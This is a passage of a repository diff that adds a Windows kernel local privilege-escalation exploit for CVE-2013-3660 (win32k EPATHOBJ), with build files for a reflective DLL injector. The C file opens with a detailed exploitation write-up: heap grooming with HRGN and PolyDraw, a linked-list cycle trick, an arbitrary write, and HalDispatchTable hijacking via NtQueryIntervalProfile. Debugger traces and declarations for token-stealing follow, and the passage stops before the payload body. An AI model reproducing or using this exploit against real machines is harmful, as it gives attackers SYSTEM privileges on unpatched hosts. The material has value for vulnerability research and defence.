<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>true</BufferSecurityCheck>
|
||||
<CompileAs>Default</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<CompileAs>CompileAsCpp</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>copy $(OutDir)$(ProjectName).x64.dll ..\bin\</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\ReflectiveDll.c" />
|
||||
<ClCompile Include="src\ReflectiveLoader.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\ComplexPath.h" />
|
||||
<ClInclude Include="src\ReflectiveDLLInjection.h" />
|
||||
<ClInclude Include="src\ReflectiveLoader.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
32
external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj.filters
vendored
Executable file
32
external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj.filters
vendored
Executable file
|
@ -0,0 +1,32 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\ReflectiveDll.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="src\ReflectiveLoader.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\ReflectiveDLLInjection.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\ReflectiveLoader.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\ComplexPath.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -0,0 +1,529 @@
|
|||
//
|
||||
// --------------------------------------------------
|
||||
// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
|
||||
// ----------------------------------------- taviso@cmpxchg8b.com -----
|
||||
//
|
||||
// INTRODUCTION
|
||||
//
|
||||
// There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
|
||||
// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
|
||||
// next list pointer. The bug is really nice, but exploitation when
|
||||
// allocations start failing is tricky.
|
||||
//
|
||||
// ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this,
|
||||
// PATHRECORD **pppr,
|
||||
// ULONG *pcMax,
|
||||
// ULONG cNeeded)
|
||||
// .text:BFA122CA mov esi, [ebp+ppr]
|
||||
// .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev]
|
||||
// .text:BFA122D0 push edi
|
||||
// .text:BFA122D1 mov edi, [ebp+pprNew]
|
||||
// .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax
|
||||
// .text:BFA122D7 lea eax, [edi+PATHRECORD.count]
|
||||
// .text:BFA122DA xor edx, edx
|
||||
// .text:BFA122DC mov [eax], edx
|
||||
// .text:BFA122DE mov ecx, [esi+PATHRECORD.flags]
|
||||
// .text:BFA122E1 and ecx, not (PD_BEZIER)
|
||||
// .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx
|
||||
// .text:BFA122E7 mov [ebp+pprNewCountPtr], eax
|
||||
// .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx
|
||||
// .text:BFA122ED jnz short loc_BFA122F7
|
||||
// .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath]
|
||||
// .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi
|
||||
//
|
||||
// It turns out this mostly works because newpathrec() is backed by newpathalloc()
|
||||
// which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
|
||||
//
|
||||
// ; PVOID __stdcall PALLOCMEM(size_t size, int tag)
|
||||
// .text:BF9160D7 xor esi, esi
|
||||
// .text:BF9160DE push esi
|
||||
// .text:BF9160DF push esi
|
||||
// .text:BF9160E0 push [ebp+tag]
|
||||
// .text:BF9160E3 push [ebp+size]
|
||||
// .text:BF9160E6 call _HeavyAllocPool@16 ; HeavyAllocPool(x,x,x,x)
|
||||
// .text:BF9160EB mov esi, eax
|
||||
// .text:BF9160ED test esi, esi
|
||||
// .text:BF9160EF jz short loc_BF9160FF
|
||||
// .text:BF9160F1 push [ebp+size] ; size_t
|
||||
// .text:BF9160F4 push 0 ; int
|
||||
// .text:BF9160F6 push esi ; void *
|
||||
// .text:BF9160F7 call _memset
|
||||
//
|
||||
// However, the PATHALLOC allocator includes it's own freelist implementation, and
|
||||
// if that codepath can satisfy a request the memory isn't zeroed and returned
|
||||
// directly to the caller. This effectively means that we can add our own objects
|
||||
// to the PATHRECORD chain.
|
||||
//
|
||||
// We can force this behaviour under memory pressure relatively easily, I just
|
||||
// spam HRGN objects until they start failing. This isn't super reliable, but it's
|
||||
// good enough for testing.
|
||||
//
|
||||
// // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
|
||||
// // failure. Seriously, do some damn QA Microsoft, wtf.
|
||||
// for (Size = 1 << 26; Size; Size >>= 1) {
|
||||
// while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
|
||||
// ;
|
||||
// }
|
||||
//
|
||||
// Adding user controlled blocks to the freelist is a little trickier, but I've
|
||||
// found that flattening large lists of bezier curves added with PolyDraw() can
|
||||
// accomplish this reliably. The code to do this is something along the lines of:
|
||||
//
|
||||
// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
|
||||
// Points[PointNum].x = 0x41414141 >> 4;
|
||||
// Points[PointNum].y = 0x41414141 >> 4;
|
||||
// PointTypes[PointNum] = PT_BEZIERTO;
|
||||
// }
|
||||
//
|
||||
// for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
|
||||
// BeginPath(Device);
|
||||
// PolyDraw(Device, Points, PointTypes, PointNum);
|
||||
// EndPath(Device);
|
||||
// FlattenPath(Device);
|
||||
// FlattenPath(Device);
|
||||
// EndPath(Device);
|
||||
// }
|
||||
//
|
||||
// We can verify this is working by putting a breakpoint after newpathrec, and
|
||||
// verifying the buffer is filled with recognisable values when it returns:
|
||||
//
|
||||
// kd> u win32k!EPATHOBJ::pprFlattenRec+1E
|
||||
// win32k!EPATHOBJ::pprFlattenRec+0x1e:
|
||||
// 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69)
|
||||
// 95c922bd 83f801 cmp eax,1
|
||||
// 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
|
||||
// 95c922c2 33c0 xor eax,eax
|
||||
// 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
|
||||
// 95c922c9 56 push esi
|
||||
// 95c922ca 8b7508 mov esi,dword ptr [ebp+8]
|
||||
// 95c922cd 8b4604 mov eax,dword ptr [esi+4]
|
||||
// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
|
||||
// kd> g
|
||||
// fe938fac 41414140
|
||||
// fe938fac 41414140
|
||||
// fe938fac 41414140
|
||||
// fe938fac 41414140
|
||||
// fe938fac 41414140
|
||||
//
|
||||
// The breakpoint dumps the first dword of the returned buffer, which matches the
|
||||
// bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
|
||||
// EPATHOBJ->records->head->next->next into userspace is no problem, and we can
|
||||
// easily break the list traversal in bFlattten():
|
||||
//
|
||||
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
|
||||
// {
|
||||
// EPATHOBJ *pathobj; // esi@1
|
||||
// PATHOBJ *ppath; // eax@1
|
||||
// BOOL result; // eax@2
|
||||
// PATHRECORD *ppr; // eax@3
|
||||
//
|
||||
// pathobj = this;
|
||||
// ppath = this->ppath;
|
||||
// if ( ppath )
|
||||
// {
|
||||
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
|
||||
// {
|
||||
// if ( ppr->flags & PD_BEZIER )
|
||||
// {
|
||||
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
|
||||
// if ( !ppr )
|
||||
// goto LABEL_2;
|
||||
// }
|
||||
// }
|
||||
// pathobj->fl &= 0xFFFFFFFE;
|
||||
// result = 1;
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// LABEL_2:
|
||||
// result = 0;
|
||||
// }
|
||||
// return result;
|
||||
// }
|
||||
//
|
||||
// All we have to do is allocate our own PATHRECORD structure, and then spam
|
||||
// PolyDraw() with POINTFIX structures containing co-ordinates that are actually
|
||||
// pointers shifted right by 4 (for this reason the structure must be aligned so
|
||||
// the bits shifted out are all zero).
|
||||
//
|
||||
// We can see this in action by putting a breakpoint in bFlatten when ppr has
|
||||
// moved into userspace:
|
||||
//
|
||||
// kd> u win32k!EPATHOBJ::bFlatten
|
||||
// win32k!EPATHOBJ::bFlatten:
|
||||
// 95c92517 8bff mov edi,edi
|
||||
// 95c92519 56 push esi
|
||||
// 95c9251a 8bf1 mov esi,ecx
|
||||
// 95c9251c 8b4608 mov eax,dword ptr [esi+8]
|
||||
// 95c9251f 85c0 test eax,eax
|
||||
// 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
|
||||
// 95c92523 33c0 xor eax,eax
|
||||
// 95c92525 5e pop esi
|
||||
// kd> u
|
||||
// win32k!EPATHOBJ::bFlatten+0xf:
|
||||
// 95c92526 c3 ret
|
||||
// 95c92527 8b4014 mov eax,dword ptr [eax+14h]
|
||||
// 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
|
||||
// 95c9252c f6400810 test byte ptr [eax+8],10h
|
||||
// 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
|
||||
// 95c92532 50 push eax
|
||||
// 95c92533 8bce mov ecx,esi
|
||||
// 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a)
|
||||
//
|
||||
// So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
|
||||
// flags (defined in winddi.h). Let's break if it's in userspace:
|
||||
//
|
||||
// kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"
|
||||
// kd> g
|
||||
// 95c9252c f6400810 test byte ptr [eax+8],10h
|
||||
// kd> r
|
||||
// eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d
|
||||
// eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc
|
||||
// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
|
||||
// win32k!EPATHOBJ::bFlatten+0x15:
|
||||
// 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=??
|
||||
//
|
||||
// The question is how to turn that into code execution? It's obviously trivial to
|
||||
// call prFlattenRec with our userspace PATHRECORD..we can do that by setting
|
||||
// PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
|
||||
// poses a problem.
|
||||
//
|
||||
// Let me demonstrate calling it with my own PATHRECORD:
|
||||
//
|
||||
// // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
|
||||
// // pathrecord chain.
|
||||
// PathRecord = VirtualAlloc(NULL,
|
||||
// sizeof(PATHRECORD),
|
||||
// MEM_COMMIT | MEM_RESERVE,
|
||||
// PAGE_EXECUTE_READWRITE);
|
||||
//
|
||||
// // Initialise with recognisable debugging values.
|
||||
// FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
|
||||
//
|
||||
// PathRecord->next = (PVOID)(0x41414141);
|
||||
// PathRecord->prev = (PVOID)(0x42424242);
|
||||
//
|
||||
// // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
|
||||
// // EPATHOBJ::bFlatten(), do that here.
|
||||
// PathRecord->flags = PD_BEZIERS;
|
||||
//
|
||||
// // Generate a large number of Bezier Curves made up of pointers to our
|
||||
// // PATHRECORD object.
|
||||
// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
|
||||
// Points[PointNum].x = (ULONG)(PathRecord) >> 4;
|
||||
// Points[PointNum].y = (ULONG)(PathRecord) >> 4;
|
||||
// PointTypes[PointNum] = PT_BEZIERTO;
|
||||
// }
|
||||
//
|
||||
// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'"
|
||||
// kd> g
|
||||
// win32k!EPATHOBJ::pprFlattenRec+0x28:
|
||||
// 95c922c2 33c0 xor eax,eax
|
||||
// kd> dd ebp+8 L1
|
||||
// a3633be0 00130000
|
||||
//
|
||||
// The ppr object is in userspace! If we peek at it:
|
||||
//
|
||||
// kd> dd poi(ebp+8)
|
||||
// 00130000 41414141 42424242 00000010 cccccccc
|
||||
// 00130010 00000000 00000000 00000000 00000000
|
||||
// 00130020 00000000 00000000 00000000 00000000
|
||||
// 00130030 00000000 00000000 00000000 00000000
|
||||
// 00130040 00000000 00000000 00000000 00000000
|
||||
// 00130050 00000000 00000000 00000000 00000000
|
||||
// 00130060 00000000 00000000 00000000 00000000
|
||||
// 00130070 00000000 00000000 00000000 00000000
|
||||
//
|
||||
// There's the next and prev pointer.
|
||||
//
|
||||
// kd> kvn
|
||||
// # ChildEBP RetAddr Args to Child
|
||||
// 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
|
||||
// 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
|
||||
// 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
|
||||
// 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)
|
||||
//
|
||||
// The question is how to get PATHALLOC() to succeed under memory pressure so we
|
||||
// can make this exploitable? I'm quite proud of this list cycle trick,
|
||||
// here's how to turn it into an arbitrary write.
|
||||
//
|
||||
// First, we create a watchdog thread that will patch the list atomically
|
||||
// when we're ready. This is needed because we can't exploit the bug while
|
||||
// HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
|
||||
//
|
||||
// .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
|
||||
// .text:BFA122BD cmp eax, 1 ; Check for failure
|
||||
// .text:BFA122C0 jz short continue
|
||||
// .text:BFA122C2 xor eax, eax ; Exit early
|
||||
// .text:BFA122C4 jmp early_exit
|
||||
//
|
||||
// So we create a list node like this:
|
||||
//
|
||||
// PathRecord->Next = PathRecord;
|
||||
// PathRecord->Flags = 0;
|
||||
//
|
||||
// Then EPATHOBJ::bFlatten() spins forever doing nothing:
|
||||
//
|
||||
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
|
||||
// {
|
||||
// /* ... */
|
||||
//
|
||||
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
|
||||
// {
|
||||
// if ( ppr->flags & PD_BEZIER )
|
||||
// {
|
||||
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
|
||||
// }
|
||||
// }
|
||||
//
|
||||
// /* ... */
|
||||
// }
|
||||
//
|
||||
// While it's spinning, we clean up in another thread, then patch the thread (we
|
||||
// can do this, because it's now in userspace) to trigger the exploit. The first
|
||||
// block of pprFlattenRec does something like this:
|
||||
//
|
||||
// if ( pprNew->pprPrev )
|
||||
// pprNew->pprPrev->pprnext = pprNew;
|
||||
//
|
||||
// Let's make that write to 0xCCCCCCCC.
|
||||
//
|
||||
// DWORD WINAPI WatchdogThread(LPVOID Parameter)
|
||||
// {
|
||||
//
|
||||
// // This routine waits for a mutex object to timeout, then patches the
|
||||
// // compromised linked list to point to an exploit. We need to do this.
|
||||
// LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex@%p",
|
||||
// GetCurrentThreadId(),
|
||||
// Mutex);
|
||||
//
|
||||
// if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
|
||||
// // It looks like the main thread is stuck in a call to FlattenPath(),
|
||||
// // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
|
||||
// // up, and then patch the list to trigger our exploit.
|
||||
// while (NumRegion--)
|
||||
// DeleteObject(Regions[NumRegion]);
|
||||
//
|
||||
// LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);
|
||||
//
|
||||
// InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
|
||||
//
|
||||
// } else {
|
||||
// LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
|
||||
// }
|
||||
//
|
||||
// return 0;
|
||||
// }
|
||||
//
|
||||
// PathRecord->next = PathRecord;
|
||||
// PathRecord->prev = (PVOID)(0x42424242);
|
||||
// PathRecord->flags = 0;
|
||||
//
|
||||
// ExploitRecord.next = NULL;
|
||||
// ExploitRecord.prev = 0xCCCCCCCC;
|
||||
// ExploitRecord.flags = PD_BEZIERS;
|
||||
//
|
||||
// Here's the output on Windows 8:
|
||||
//
|
||||
// kd> g
|
||||
// *******************************************************************************
|
||||
// * *
|
||||
// * Bugcheck Analysis *
|
||||
// * *
|
||||
// *******************************************************************************
|
||||
//
|
||||
// Use !analyze -v to get detailed debugging information.
|
||||
//
|
||||
// BugCheck 50, {cccccccc, 1, 8f18972e, 2}
|
||||
// *** WARNING: Unable to verify checksum for ComplexPath.exe
|
||||
// *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
|
||||
// Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
|
||||
//
|
||||
// Followup: MachineOwner
|
||||
// ---------
|
||||
//
|
||||
// nt!RtlpBreakWithStatusInstruction:
|
||||
// 810f46f4 cc int 3
|
||||
// kd> kv
|
||||
// ChildEBP RetAddr Args to Child
|
||||
// a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
|
||||
// a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
|
||||
// a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
|
||||
// a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
|
||||
// a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
|
||||
// a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
|
||||
// a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
|
||||
// a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
|
||||
// a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
|
||||
// a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
|
||||
// a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
|
||||
// a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
|
||||
// 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
|
||||
// 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
|
||||
// WARNING: Stack unwind information not available. Following frames may be wrong.
|
||||
// 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
|
||||
// 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
|
||||
// 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
|
||||
// 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
|
||||
// 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
|
||||
// kd> .trap a03aba2c
|
||||
// ErrCode = 00000002
|
||||
// eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
|
||||
// eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc
|
||||
// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
|
||||
// win32k!EPATHOBJ::pprFlattenRec+0x82:
|
||||
// 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=????????
|
||||
// kd> vertarget
|
||||
// Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
|
||||
// Product: WinNt, suite: TerminalServer SingleUserTS
|
||||
// Built by: 9200.16581.x86fre.win8_gdr.130410-1505
|
||||
// Machine Name:
|
||||
// Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
|
||||
// Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
|
||||
// System Uptime: 0 days 0:02:30.432
|
||||
// kd> .bugcheck
|
||||
// Bugcheck code 00000050
|
||||
// Arguments cccccccc 00000001 8f18972e 00000002
|
||||
//
|
||||
// EXPLOITATION
|
||||
//
|
||||
// We're somewhat limited with what we can do, as we don't control what's
|
||||
// written, it's always a pointer to a PATHRECORD object. We can clobber a
|
||||
// function pointer, but the problem is making it point somewhere useful.
|
||||
//
|
||||
// The solution is to make the Next pointer a valid sequence of instructions,
|
||||
// which jumps to our second stage payload. We have to do that in just 4 bytes
|
||||
// (unless you can find a better call site, let me know if you spot one).
|
||||
//
|
||||
// Thanks to progmboy for coming up with the solution: you reach back up the
|
||||
// stack and pull a SystemCall parameter out of the stack. It turns out
|
||||
// NtQueryIntervalProfile matches this requirement perfectly.
|
||||
//
|
||||
// INSTRUCTIONS
|
||||
//
|
||||
// C:\> cl ComplexPath.c
|
||||
// C:\> ComplexPath
|
||||
//
|
||||
// You might need to run it several times before we get the allocation we need,
|
||||
// it won't crash if it doesn't work, so you can keep trying. I'm not sure how
|
||||
// to improve that.
|
||||
//
|
||||
// CREDIT
|
||||
//
|
||||
// Tavis Ormandy <taviso@cmpxchg8b.com>
|
||||
// progmboy <programmeboy@gmail.com>
|
||||
//
|
||||
|
||||
#ifndef WIN32_NO_STATUS
|
||||
# define WIN32_NO_STATUS
|
||||
#endif
|
||||
#include <stdio.h>
|
||||
#include <stdarg.h>
|
||||
#include <stddef.h>
|
||||
#include <windows.h>
|
||||
#include <assert.h>
|
||||
#ifdef WIN32_NO_STATUS
|
||||
# undef WIN32_NO_STATUS
|
||||
#endif
|
||||
#include <ntstatus.h>
|
||||
|
||||
#pragma comment(lib, "gdi32")
|
||||
#pragma comment(lib, "kernel32")
|
||||
#pragma comment(lib, "user32")
|
||||
#pragma comment(lib, "shell32")
|
||||
#pragma comment(linker, "/SECTION:.text,ERW")
|
||||
|
||||
#ifndef PAGE_SIZE
|
||||
# define PAGE_SIZE 0x1000
|
||||
#endif
|
||||
|
||||
#define MAX_POLYPOINTS (8192 * 3)
|
||||
#define MAX_REGIONS 8192
|
||||
#define CYCLE_TIMEOUT 10000
|
||||
|
||||
static POINT Points[MAX_POLYPOINTS];
|
||||
static BYTE PointTypes[MAX_POLYPOINTS];
|
||||
static HRGN Regions[MAX_REGIONS];
|
||||
static ULONG ComplexPathNumRegion = 0;
|
||||
static HANDLE Mutex;
|
||||
static DWORD ComplexPathFinished = 0;
|
||||
|
||||
// Log levels.
|
||||
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
|
||||
|
||||
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
|
||||
|
||||
// Copied from winddi.h from the DDK
|
||||
#define PD_BEGINSUBPATH 0x00000001
|
||||
#define PD_ENDSUBPATH 0x00000002
|
||||
#define PD_RESETSTYLE 0x00000004
|
||||
#define PD_CLOSEFIGURE 0x00000008
|
||||
#define PD_BEZIERS 0x00000010
|
||||
|
||||
typedef struct _POINTFIX
|
||||
{
|
||||
ULONG x;
|
||||
ULONG y;
|
||||
} POINTFIX, *PPOINTFIX;
|
||||
|
||||
// Approximated from reverse engineering.
|
||||
typedef struct _PATHRECORD {
|
||||
struct _PATHRECORD *next;
|
||||
struct _PATHRECORD *prev;
|
||||
ULONG flags;
|
||||
ULONG count;
|
||||
POINTFIX points[4];
|
||||
} PATHRECORD, *PPATHRECORD;
|
||||
|
||||
PPATHRECORD PathRecord;
|
||||
PATHRECORD ExploitRecord;
|
||||
PPATHRECORD ExploitRecordExit;
|
||||
|
||||
enum { SystemModuleInformation = 11 };
|
||||
enum { ProfileTotalIssues = 2 };
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
|
||||
HANDLE Section;
|
||||
PVOID MappedBase;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT OffsetToFileName;
|
||||
UCHAR FullPathName[256];
|
||||
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULES {
|
||||
ULONG NumberOfModules;
|
||||
RTL_PROCESS_MODULE_INFORMATION Modules[1];
|
||||
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
|
||||
|
||||
FARPROC NtQuerySystemInformation;
|
||||
FARPROC NtQueryIntervalProfile;
|
||||
FARPROC PsReferencePrimaryToken;
|
||||
FARPROC PsLookupProcessByProcessId;
|
||||
PULONG HalDispatchTable;
|
||||
ULONG HalQuerySystemInformation;
|
||||
PULONG TargetPid;
|
||||
PVOID *PsInitialSystemProcess;
|
||||
|
||||
VOID elevator_complex_path();
|
||||
|
||||
//#define DEBUGTRACE 1
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||
#else
|
||||
#define dprintf(...) do{}while(0);
|
||||
#endif
|
||||
|
||||
static void real_dprintf(char *format, ...) {
|
